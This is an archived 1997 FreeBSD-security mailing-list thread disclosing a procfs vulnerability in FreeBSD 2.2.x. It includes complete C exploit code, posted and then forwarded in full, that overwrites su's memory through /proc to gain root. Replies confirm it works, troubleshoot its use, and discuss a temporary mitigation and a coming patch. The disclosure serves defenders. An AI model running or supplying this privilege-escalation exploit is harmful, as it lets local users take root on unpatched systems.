From owner-freebsd-security Sun Aug 10 02:39:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA13502 for security-outgoing; Sun, 10 Aug 1997 02:39:22 -0700 (PDT) Received: from apocalypse.saturn.net (user9979@apocalypse.saturn.net [208.192.215.27]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA13497 for ; Sun, 10 Aug 1997 02:39:15 -0700 (PDT) Received: from localhost (brian@localhost) by apocalypse.saturn.net (8.8.5/8.8.5) with SMTP id FAA03295; Sun, 10 Aug 1997 05:37:42 -0400 (EDT) Date: Sun, 10 Aug 1997 05:37:40 -0400 (EDT) From: Brian Mitchell To: bugtraq@netspace.org cc: freebsd-security@freebsd.org Subject: procfs hole Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, I have not tested 3.x but I believe it to be vulnerable as well) along with OpenBSD (not tested by me, but by someone else -- believe it was 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd does). The problem is all proc/#/mem access is controlled by the permissions on the file. This means you can fork() open the childs mem device and then have the child execute a setuid executable. Once this is done, you can modify the setuid executables memory -- even segments that are supposed to be nonwritable can be modified. Enclosed is a simple exploit tested under FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory for a specific signature. Oh, you need to change your shell to a borneish shell too, since csh/tcsh will not work when euid != ruid (unless passed a -b script argument). BSDI is also believed to be vulnerable. Unfortunately, not only is procfs not mounted, it is not even in the GENERIC kernel. #include #include #include #include #include u_char search_code[13] = { 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ /* just do a xor %eax, %eax and then a ret */ u_char new_code[] = { 0x31, 0xc0, 0xc3}; main(int argc, char **argv) { int pid; int fd; char buff[40]; char *user; /* might need to tweak these */ u_int offset=0x8003000; u_int offset_end = 0x8099000; if(argc < 2) { fprintf(stderr, "%s user\n", argv[0]); exit(1); } printf("Demonstration of 4.4BSD procfs hole\n"); printf("Brian Mitchell \n\n"); printf("after you see \"setuid changed\", enter the pw for the user\n"); printf("\aBe warned, searching for the setuid() function takes a long time!\n"); user=argv[1]; pid = fork(); switch(pid) { case -1: perror("fork"); exit(1); case 0: /* give parent time to open /proc/pid/mem */ sleep(3); execl("/usr/bin/su", "su", user, NULL); exit(0); default: sprintf(buff, "/proc/%d/mem", pid); fd = open(buff, O_RDWR); if(fd < 0) { perror("open procmem"); wait(NULL); exit(1); } /* wait for child to execute suid program */ sleep(6); /* stop the child */ kill(pid, 17); printf("searching - please be patient...\n"); /* search for the setuid code */ while(offset != offset_end) { lseek(fd, offset, SEEK_SET); read(fd, buff, 13); if(!bcmp(buff, search_code, 13)) { lseek(fd, offset, SEEK_SET); write(fd, new_code, 3); printf("setuid changed (0x%x)\n", offset); /* sigcont child */ kill(pid, 19); wait(NULL); exit(0); } offset++; } printf("setuid not found!!\n"); kill(pid, 9); wait(NULL); exit(1); } } Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt (OpenBSD President) From owner-freebsd-security Sun Aug 10 03:25:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA15169 for security-outgoing; Sun, 10 Aug 1997 03:25:58 -0700 (PDT) Received: from firewall.ftf.dk (root@[129.142.64.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA15163 for ; Sun, 10 Aug 1997 03:25:51 -0700 (PDT) Received: from mail.prosa.dk ([192.168.100.2]) by firewall.ftf.dk (8.7.6/8.7.3) with ESMTP id MAA10948; Sun, 10 Aug 1997 12:47:25 +0200 Received: from deepo.prosa.dk (deepo.prosa.dk [192.168.100.10]) by mail.prosa.dk (8.8.5/8.8.5/prosa-1.1) with ESMTP id MAA10941; Sun, 10 Aug 1997 12:22:03 +0200 (CEST) Received: (from regnauld@localhost) by deepo.prosa.dk (8.8.5/8.8.5/prosa-1.1) id MAA08917; Sun, 10 Aug 1997 12:20:28 +0200 (CEST) Message-ID: <19970810122028.31693@deepo.prosa.dk> Date: Sun, 10 Aug 1997 12:20:28 +0200 From: Philippe Regnauld To: Brian Mitchell Cc: freebsd-security@freebsd.org Subject: Re: procfs hole References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Description: Main Body X-Mailer: Mutt 0.69 In-Reply-To: ; from Brian Mitchell on Sun, Aug 10, 1997 at 05:37:40AM -0400 X-Operating-System: FreeBSD 2.2.1-RELEASE i386 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Brian Mitchell writes: > > be nonwritable can be modified. Enclosed is a simple exploit tested under > FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory Worked in 1 minute on a DX-33 here :-( Has anyone tried with 2.2.2 ? -- -- Phil -[ Philippe Regnauld / Systems Administrator / regnauld@deepo.prosa.dk ]- -[ Location.: +55.4N +11.3E PGP Key: finger regnauld@hotel.prosa.dk ]- From owner-freebsd-security Sun Aug 10 03:38:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA15630 for security-outgoing; Sun, 10 Aug 1997 03:38:44 -0700 (PDT) Received: from firewall.ftf.dk (root@[129.142.64.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA15625 for ; Sun, 10 Aug 1997 03:38:37 -0700 (PDT) Received: from mail.prosa.dk ([192.168.100.2]) by firewall.ftf.dk (8.7.6/8.7.3) with ESMTP id NAA10981 for ; Sun, 10 Aug 1997 13:04:45 +0200 Received: from deepo.prosa.dk (deepo.prosa.dk [192.168.100.10]) by mail.prosa.dk (8.8.5/8.8.5/prosa-1.1) with ESMTP id MAA10955 for ; Sun, 10 Aug 1997 12:39:23 +0200 (CEST) Received: (from regnauld@localhost) by deepo.prosa.dk (8.8.5/8.8.5/prosa-1.1) id MAA08988; Sun, 10 Aug 1997 12:37:48 +0200 (CEST) Message-ID: <19970810123747.52460@deepo.prosa.dk> Date: Sun, 10 Aug 1997 12:37:47 +0200 From: Philippe Regnauld To: Philippe Regnauld Cc: freebsd-security@freebsd.org Subject: Re: procfs hole References: <19970810122028.31693@deepo.prosa.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Description: Main Body X-Mailer: Mutt 0.69 In-Reply-To: <19970810122028.31693@deepo.prosa.dk>; from Philippe Regnauld on Sun, Aug 10, 1997 at 12:20:28PM +0200 X-Operating-System: FreeBSD 2.2.1-RELEASE i386 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Philippe Regnauld writes: > Has anyone tried with 2.2.2 ? Finally got hold of a 2.2.2 box: it works too :-( -- -[ Philippe Regnauld / Sysadmin ]- From owner-freebsd-security Sun Aug 10 03:58:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA16311 for security-outgoing; Sun, 10 Aug 1997 03:58:53 -0700 (PDT) Received: from kspu.kaluga.ru (kspu.kaluga.ru [195.90.175.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA16306 for ; Sun, 10 Aug 1997 03:58:47 -0700 (PDT) Received: by kspu.kaluga.ru id PAA02131; (8.8.5/vak/1.9) Sun, 10 Aug 1997 15:00:39 +0400 (MSD) Date: Sun, 10 Aug 97 11:00:38 +0000 From: king@kspu.kaluga.ru (Oleg V. King) To: freebsd-security@freebsd.org Message-ID: Subject: procfs hole working! X-Mailer: BML [UNIX Beauty Mail v.1.39] Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Brian Mitchell writes: > > be nonwritable can be modified. Enclosed is a simple exploit tested under > > FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory > Worked in 1 minute on a DX-33 here :-( > Has anyone tried with 2.2.2 ? My FreeBSD 2.2.2 has been hacked in 20 seconds. :( Oleg King From owner-freebsd-security Sun Aug 10 04:06:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA16551 for security-outgoing; Sun, 10 Aug 1997 04:06:52 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA16542 for ; Sun, 10 Aug 1997 04:06:46 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id HAA18648; Sun, 10 Aug 1997 07:04:44 -0400 (EDT) Date: Sun, 10 Aug 1997 07:04:44 -0400 (EDT) From: Brian Mitchell To: Philippe Regnauld cc: freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: <19970810123747.52460@deepo.prosa.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Philippe Regnauld wrote: > Philippe Regnauld writes: > > > Has anyone tried with 2.2.2 ? > > Finally got hold of a 2.2.2 box: it works too :-( The exploit, as written, does not work on OpenBSD. You need a whole new signature in openbsd to even locate the setuid() stub (syscalls are done via a interrupt in OpenBSD, not a lcall as in FreeBSD). Add to that the fact that openbsd lacks a map proc entry, and it makes things annoying at best. From owner-freebsd-security Sun Aug 10 06:05:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA20044 for security-outgoing; Sun, 10 Aug 1997 06:05:10 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA20027 for ; Sun, 10 Aug 1997 06:05:04 -0700 (PDT) Message-Id: <199708101305.GAA20027@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA222217477; Sun, 10 Aug 1997 22:51:17 +1000 From: Darren Reed Subject: procfs hole (fwd) To: security@freebsd.org Date: Sun, 10 Aug 1997 22:51:17 +1000 (EST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In some mail from Brian Mitchell, sie said: > From owner-bugtraq@NETSPACE.ORG Sun Aug 10 22:41:25 EST 1997 > Approved-By: aleph1@UNDERGROUND.ORG > Mime-Version: 1.0 > Content-Type: TEXT/PLAIN; charset=US-ASCII > Message-Id: > Date: Sun, 10 Aug 1997 05:37:40 -0400 > Reply-To: Brian Mitchell > Sender: Bugtraq List > From: Brian Mitchell > Subject: procfs hole > X-Cc: freebsd-security@freebsd.org > To: BUGTRAQ@NETSPACE.ORG > > There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, > I have not tested 3.x but I believe it to be vulnerable as well) along > with OpenBSD (not tested by me, but by someone else -- believe it was > 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd > does). > > The problem is all proc/#/mem access is controlled by the permissions on > the file. This means you can fork() open the childs mem device and then > have the child execute a setuid executable. Once this is done, you can > modify the setuid executables memory -- even segments that are supposed to > be nonwritable can be modified. Enclosed is a simple exploit tested under > FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory > for a specific signature. Oh, you need to change your shell to a borneish > shell too, since csh/tcsh will not work when euid != ruid (unless passed > a -b script argument). > > BSDI is also believed to be vulnerable. Unfortunately, not only is procfs > not mounted, it is not even in the GENERIC kernel. > > #include > #include > #include > #include > #include > > u_char search_code[13] = { > 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ > 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ > > /* just do a xor %eax, %eax and then a ret */ > u_char new_code[] = { > 0x31, 0xc0, 0xc3}; > > main(int argc, char **argv) > { > int pid; > int fd; > char buff[40]; > char *user; > > /* might need to tweak these */ > u_int offset=0x8003000; > u_int offset_end = 0x8099000; > > if(argc < 2) > { > fprintf(stderr, "%s user\n", argv[0]); > exit(1); > } > printf("Demonstration of 4.4BSD procfs hole\n"); > printf("Brian Mitchell \n\n"); > printf("after you see \"setuid changed\", enter the pw for the user\n"); > printf("\aBe warned, searching for the setuid() function takes a long time!\n"); > user=argv[1]; > pid = fork(); > switch(pid) > { > case -1: > perror("fork"); > exit(1); > case 0: > /* give parent time to open /proc/pid/mem */ > sleep(3); > execl("/usr/bin/su", "su", user, NULL); > exit(0); > default: > sprintf(buff, "/proc/%d/mem", pid); > fd = open(buff, O_RDWR); > if(fd < 0) > { > perror("open procmem"); > wait(NULL); > exit(1); > } > /* wait for child to execute suid program */ > sleep(6); > /* stop the child */ > kill(pid, 17); > printf("searching - please be patient...\n"); > /* search for the setuid code */ > while(offset != offset_end) > { > lseek(fd, offset, SEEK_SET); > read(fd, buff, 13); > if(!bcmp(buff, search_code, 13)) > { > lseek(fd, offset, SEEK_SET); > write(fd, new_code, 3); > printf("setuid changed (0x%x)\n", offset); > /* sigcont child */ > kill(pid, 19); > wait(NULL); > exit(0); > } > offset++; > } > printf("setuid not found!!\n"); > kill(pid, 9); > wait(NULL); > exit(1); > } > } > > > Brian Mitchell brian@firehouse.net > "BSD code sucks. Of course, everything else sucks far more." > - Theo de Raadt (OpenBSD President) > From owner-freebsd-security Sun Aug 10 06:53:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA21625 for security-outgoing; Sun, 10 Aug 1997 06:53:34 -0700 (PDT) Received: from bitbox.follo.net (eivind@bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA21620 for ; Sun, 10 Aug 1997 06:53:31 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.5/8.7.3) id PAA04930; Sun, 10 Aug 1997 15:51:54 +0200 (CEST) Date: Sun, 10 Aug 1997 15:51:54 +0200 (CEST) Message-Id: <199708101351.PAA04930@bitbox.follo.net> From: Eivind Eklund To: Brian Mitchell CC: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG In-reply-to: Brian Mitchell's message of Sun, 10 Aug 1997 05:37:40 -0400 (EDT) Subject: Re: procfs hole References: Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, > I have not tested 3.x but I believe it to be vulnerable as well) along > with OpenBSD (not tested by me, but by someone else -- believe it was > 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd > does). Temporary fix: Disable the /proc filesystem. Setting ro instead of rw in /etc/fstab or chmod'ing on the mountpoint do _not_ work. Eivind, looking for a proper fix, but not expecting to get there before David. From owner-freebsd-security Sun Aug 10 07:23:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA22706 for security-outgoing; Sun, 10 Aug 1997 07:23:47 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA22701 for ; Sun, 10 Aug 1997 07:23:43 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id KAA13556; Sun, 10 Aug 1997 10:22:54 GMT Date: Sun, 10 Aug 1997 10:22:53 +0000 (GMT) From: "Jonathan A. Zdziarski" To: Brian Mitchell cc: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I attempted to run it and got the following trying to run it with 'root' as the user (even providing the correct password): Demonstration of 4.4BSD procfs hole Brian Mitchell after you see "setuid changed", enter the pw for the user Be warned, searching for the setuid() function takes a long time! Password:searching - please be patient... setuid changed (0x8046f64) _su: Permission denied. I'm running freebsd 2.2.2 ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Sun Aug 10 07:28:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA22917 for security-outgoing; Sun, 10 Aug 1997 07:28:14 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA22912 for ; Sun, 10 Aug 1997 07:28:11 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id KAA13812; Sun, 10 Aug 1997 10:27:31 GMT Date: Sun, 10 Aug 1997 10:27:31 +0000 (GMT) From: "Jonathan A. Zdziarski" To: Brian Mitchell cc: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk OK I tried it with both 'root' and my user 'jonz' using the corret password each time, waiting for setuid to be found, and it still gave me _su: Permission Denied Am I doing something wrong or is my system safe even though it's 2.2.2 ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Sun Aug 10 07:29:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA22973 for security-outgoing; Sun, 10 Aug 1997 07:29:02 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA22961 for ; Sun, 10 Aug 1997 07:28:59 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id KAA13868; Sun, 10 Aug 1997 10:28:13 GMT Date: Sun, 10 Aug 1997 10:28:13 +0000 (GMT) From: "Jonathan A. Zdziarski" To: Eivind Eklund cc: Brian Mitchell , bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: <199708101351.PAA04930@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk What are the effects of doing this? ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- On Sun, 10 Aug 1997, Eivind Eklund wrote: :> :> There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, :> I have not tested 3.x but I believe it to be vulnerable as well) along :> with OpenBSD (not tested by me, but by someone else -- believe it was :> 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd :> does). : :Temporary fix: Disable the /proc filesystem. Setting ro instead of rw in :/etc/fstab or chmod'ing on the mountpoint do _not_ work. : :Eivind, :looking for a proper fix, but not expecting to get there before David. : From owner-freebsd-security Sun Aug 10 07:47:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA23820 for security-outgoing; Sun, 10 Aug 1997 07:47:21 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA23815 for ; Sun, 10 Aug 1997 07:47:17 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id KAA14928; Sun, 10 Aug 1997 10:46:36 GMT Date: Sun, 10 Aug 1997 10:46:35 +0000 (GMT) From: "Jonathan A. Zdziarski" To: Brian Mitchell cc: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk never mind about my last message - I was finally able to get it to work on both 2.2.2 and 2.2.1 systems. ack. is the 'su' command the only pheasable method of manipulating this problem, or do you think it could be done with other setuid programs? I'm running sudo, and can disable su, but then again what if sudo can be modified. ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Sun Aug 10 07:52:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA24044 for security-outgoing; Sun, 10 Aug 1997 07:52:23 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA24030 for ; Sun, 10 Aug 1997 07:52:17 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id JAA07422; Sun, 10 Aug 1997 09:57:56 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Sun, 10 Aug 1997 09:57:56 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: "Jonathan A. Zdziarski" cc: Brian Mitchell , bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk You need to set your login shell to 'bash' or an equiv... ._________________________________________ __ _ |Alfred Perlstein - Programming & SysAdmin |perlsta@sunyit.edu |http://www.cs.sunyit.edu/~perlsta : ---"Have you seen my FreeBSD tatoo?" ' On Sun, 10 Aug 1997, Jonathan A. Zdziarski wrote: > OK I tried it with both 'root' and my user 'jonz' using the corret > password each time, waiting for setuid to be found, and it still gave me > > _su: Permission Denied > > Am I doing something wrong or is my system safe even though it's 2.2.2 > > > ------------------------------------------------------------------------- > Jonathan A. Zdziarski NetRail Incorporated > Server Engineering Manager 230 Peachtree St. Suite 500 > jonz@netrail.net Atlanta, GA 30303 > http://www.netrail.net (888) - NETRAIL > ------------------------------------------------------------------------- > > From owner-freebsd-security Sun Aug 10 08:09:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA24847 for security-outgoing; Sun, 10 Aug 1997 08:09:46 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA24842 for ; Sun, 10 Aug 1997 08:09:44 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id KAA07451; Sun, 10 Aug 1997 10:13:04 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Sun, 10 Aug 1997 10:13:04 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: "Jonathan A. Zdziarski" cc: Brian Mitchell , bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk ok, hear's the deal, the exploit was written SPECIFICALLY for SU but i assume almost any setuid program can be modified to do any kinda nasty thing just by patching its code. Getting root access isn't the only "bad" thing, it could somehow patch the program by putting an "exec" somewhere in it :) or it could just be used to make PASSWD mis-behave... ._________________________________________ __ _ |Alfred Perlstein - Programming & SysAdmin |perlsta@sunyit.edu |http://www.cs.sunyit.edu/~perlsta : ---"Have you seen my FreeBSD tatoo?" ' On Sun, 10 Aug 1997, Jonathan A. Zdziarski wrote: > never mind about my last message - I was finally able to get it to work on > both 2.2.2 and 2.2.1 systems. ack. is the 'su' command the only > pheasable method of manipulating this problem, or do you think it could be > done with other setuid programs? I'm running sudo, and can disable su, > but then again what if sudo can be modified. > > > ------------------------------------------------------------------------- > Jonathan A. Zdziarski NetRail Incorporated > Server Engineering Manager 230 Peachtree St. Suite 500 > jonz@netrail.net Atlanta, GA 30303 > http://www.netrail.net (888) - NETRAIL > ------------------------------------------------------------------------- > > From owner-freebsd-security Sun Aug 10 08:53:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA26894 for security-outgoing; Sun, 10 Aug 1997 08:53:27 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA26886 for ; Sun, 10 Aug 1997 08:53:24 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id LAA18484; Sun, 10 Aug 1997 11:52:45 GMT Date: Sun, 10 Aug 1997 11:52:44 +0000 (GMT) From: "Jonathan A. Zdziarski" To: Brian Mitchell cc: bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Would disabling bash and sh (and any other shells that allowed this) be a good temporary solution? I've noticed you have to have it set as your default shell, so removing it from /etc/shells could prevent this. It's either that or disbale procfs (and I'm still not sure what the effects of that would be) ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Sun Aug 10 09:51:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA29230 for security-outgoing; Sun, 10 Aug 1997 09:51:27 -0700 (PDT) Received: from bgbio.aubg.bg (ivaylo@bgbio.aubg.bg [193.68.137.97]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA29214 for ; Sun, 10 Aug 1997 09:51:12 -0700 (PDT) Received: from localhost (ivaylo@localhost) by bgbio.aubg.bg (8.8.5/8.8.5) with SMTP id TAA00662 for ; Sun, 10 Aug 1997 19:50:19 +0300 (EEST) Date: Sun, 10 Aug 1997 19:50:19 +0300 (EEST) From: Ivaylo Kostadinov To: freebsd-security@freebsd.org Subject: Re: procfs hole Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I tried it on my FreeBSD 2.2.2. It did not work either. From owner-freebsd-security Sun Aug 10 10:06:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA29947 for security-outgoing; Sun, 10 Aug 1997 10:06:15 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA29942 for ; Sun, 10 Aug 1997 10:06:13 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.6.8/8.6.6) id KAA15801; Sun, 10 Aug 1997 10:06:12 -0700 Date: Sun, 10 Aug 1997 10:06:12 -0700 From: Sean Eric Fagan Message-Id: <199708101706.KAA15801@kithrup.com> To: security@freebsd.org Subject: Re: procfs hole In-Reply-To: Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Actually, this is something I've known about for years. I'm surprised it's taken this long to surface. I know how to fix it. I'll need to talk with some folks about it first. I'll try to have a 2.2 patch today. From owner-freebsd-security Sun Aug 10 10:45:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA02366 for security-outgoing; Sun, 10 Aug 1997 10:45:26 -0700 (PDT) Received: from saffron.fsl.noaa.gov (saffron.fsl.noaa.gov [137.75.253.44]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA02361 for ; Sun, 10 Aug 1997 10:45:20 -0700 (PDT) Received: from fsl.noaa.gov (localhost [127.0.0.1]) by saffron.fsl.noaa.gov (8.8.5/8.8.5) with ESMTP id LAA00480; Sun, 10 Aug 1997 11:43:58 -0600 (MDT) Message-ID: <33EDFDDD.6C1DED0A@fsl.noaa.gov> Date: Sun, 10 Aug 1997 11:43:57 -0600 From: Sean Kelly Organization: CIRA/NOAA X-Mailer: Mozilla 4.02b7 [en] (X11; I; FreeBSD 2.2.2-RELEASE i386) MIME-Version: 1.0 To: Ivaylo Kostadinov CC: freebsd-security@FreeBSD.ORG Subject: Re: procfs hole References: Content-Type: multipart/mixed; boundary="------------611B28F01854C035F27B564D" Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This is a multi-part message in MIME format. --------------611B28F01854C035F27B564D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Ivaylo Kostadinov wrote: > I tried it on my FreeBSD 2.2.2. It did not work either. Then you must've forgotten to change your shell to /bin/sh, as the original posting suggested. Then the hole does exist, even on FreeBSD 2.2.2. :-( -- Sean Kelly NOAA Forecast Systems Laboratory kelly@fsl.noaa.gov Boulder Colorado USA http://www-sdd.fsl.noaa.gov/~kelly/ --------------611B28F01854C035F27B564D Content-Type: text/x-vcard; charset=us-ascii; 